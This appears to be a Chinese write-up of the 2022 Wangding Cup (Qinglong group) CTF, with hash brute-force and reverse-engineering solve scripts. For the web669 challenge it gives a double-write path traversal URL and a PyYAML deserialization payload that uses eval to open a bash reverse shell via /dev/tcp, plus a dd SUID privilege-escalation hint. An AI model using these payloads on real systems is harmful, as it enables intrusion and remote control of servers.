网鼎杯2022青龙组

文章目录

misc
- 签到
crypto
- crypto091
web
web669
re
- re694
- re693

主站传送门

misc

签到

crypto

crypto091

# -*- coding: utf-8 -*-
# @Time : 2022/8/26 9:53
# @Author : pysnow
import hashlib
import oshas = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
s = hashlib.sha256()
num = '861709'
for i in range(10):for j in range(10):for k in range(10):for l in range(10):for m in range(10):for n in range(10):for o in range(10):phone = num + str(i) + str(j) + str(k) + str(l) + str(m) + str(n) + str(o)h = hashlib.sha256(phone.encode('utf-8')).hexdigest()if h == has:print(phone)exit()

简单的hash爆破
flag{8617091733716}

web

web669

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, sessionapp = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()def response(content, status):resp = make_response(content, status)return resp@app.before_request
def is_login():if request.path == "/upload":if session.get('user') != "Administrator":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:return None@app.route('/', methods=['GET'])
def main():if not session.get('user'):session['user'] = 'Guest'try:return render_template('index.html')except:return response("Not Found.", 404)finally:try:updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()if not session.get('updir'):session['updir'] = updirif not os.path.exists(updir):os.makedirs(updir)except:return response('Internal Server Error.', 500)@app.route('/<path:file>', methods=['GET'])
def download(file):if session.get('updir'):basedir = session.get('updir')try:path = os.path.join(basedir, file).replace('../', '')if os.path.isfile(path):return send_file(path)else:return response("Not Found.", 404)except:return response("Failed.", 500)
# 下载文件@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'GET':return redirect('/')if request.method == 'POST':uploadFile = request.files['file']filename = request.files['file'].filenameif re.search(r"\.\.|/", filename, re.M|re.I) != None:return "<script>alert('Hacker!');window.location.href='/upload'</script>"# 上传文件过滤../filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"if os.path.exists(filepath):return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"else:uploadFile.save(filepath)extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"if not os.path.exists(extractdir):os.makedirs(extractdir)# 解压pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])t_beginning = time.time()  seconds_passed = 0timeout=60while True:  if pStatus.poll() is not None:  break  seconds_passed = time.time() - t_beginning  if timeout and seconds_passed > timeout:  pStatus.terminate()  raise TimeoutError(cmd, timeout)time.sleep(0.1)rarDatas = {'filename': filename, 'dirs': [], 'files': []}for dirpath, dirnames, filenames in     (extractdir):relative_dirpath = dirpath.split(extractdir)[-1]rarDatas['dirs'].append(relative_dirpath)for file in filenames:rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:f.write(yaml.dump(rarDatas))return redirect(f'/display?file={filename}')@app.route('/display', methods=['GET'])
def display():filename = request.args.get('file')if not filename:return response("Not Found.", 404)if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:yamlDatas = f.read()if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))if rarDatas:return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])else:return response('Internal Server Error.', 500)else:return response('Forbidden.', 403)else:return response("Not Found.", 404)if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

审计源码发现session必须是admin才能上传文件，然后secretkey是这个题目的主机名，在download函数里可以读文件，但是过滤了…/，就不能目录穿越了，但是由于这里的过滤方法是替换为空，那么就可以使用双写绕过

payload:

http://eci-2zei6d9vvhdr4cp1orih.cloudeci1.ichunqiu.com:8888/...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2Fetc/hosts

读取hosts文件拿到key：engine-1

接着审计其他路由
上传文件上传一个rar，并将其解压在指定目录，因为这里有了任意伪造session，所以可以控制解压路径
接着display这里存在一个pyyaml反序列化漏洞
https://xz.aliyun.com/t/7923
这里对文件内容有过滤，基本上把许多payload都绕过了，寻找bypass
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml
最终找到payload如下

!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').popen('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"').read()"]

这里同样需要bypass掉括号，可以采用Unicode编码如下
将yaml文件修改为e4da3b7fbbce2345d7772b0674a318d5.yaml
然后压缩成rar，并上传，文件名改成.rar5

这里压缩包里面应该是自己指定的yaml文件，最后上传，服务器会自动将里面的yaml文件解压在我们构造的fileinfo目录下
这里文件名为.rar的原因是为了让解压路径为fileinfo，当然也可以把session的dispath改为./也是可以的

连上shell用suid提权 dd
这里推荐个网站
https://gtfobins.github.io/
[https://gtfobins.github.io/gtfobins/dd/)

re

re694

esp定律手脱upx壳
对输入就只有两处进行操作
解题脚本如下

#include <stdio.h>int main(){unsigned int res[20] = {0x0000004B, 0x00000048, 0x00000079, 0x00000013, 0x00000045, 0x00000030, 0x0000005C, 0x00000049, 0x0000005A, 0x00000079, 0x00000013, 0x00000070, 0x0000006D, 0x00000078, 0x00000013, 0x0000006F, 0x00000048, 0x0000005D, 0x00000064, 0x00000064
};for(int i =0;i<20;i++){res[i]^=0x50;res[i]-=0xA;res[i]^=0x66;printf("%c",res[i]);}return 0;
}
// flag{why_m0dify_pUx_SheLL}

re693

对输出的信息分析可以找到两个目标函数
函数名如下

对这两个函数分析可以写出解题脚本

#include <stdio.h>
#include <windows.h>
int main(){BYTE word[] = {167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54};BYTE WORD[] = {159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3};for (int i = 0; i < 16; i++) {printf("%c",WORD[i] ^ word[i]);}char YrXQd[] = "5a6c58444a6b48334f5a4e344d617964";// 函数名的16进制形式printf("\n%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]);return 0;
}

输出
8ce3da2b46019f75
3a4e76449355c414
组合一下就是flag{3a4e76449355c4148ce3da2b46019f75}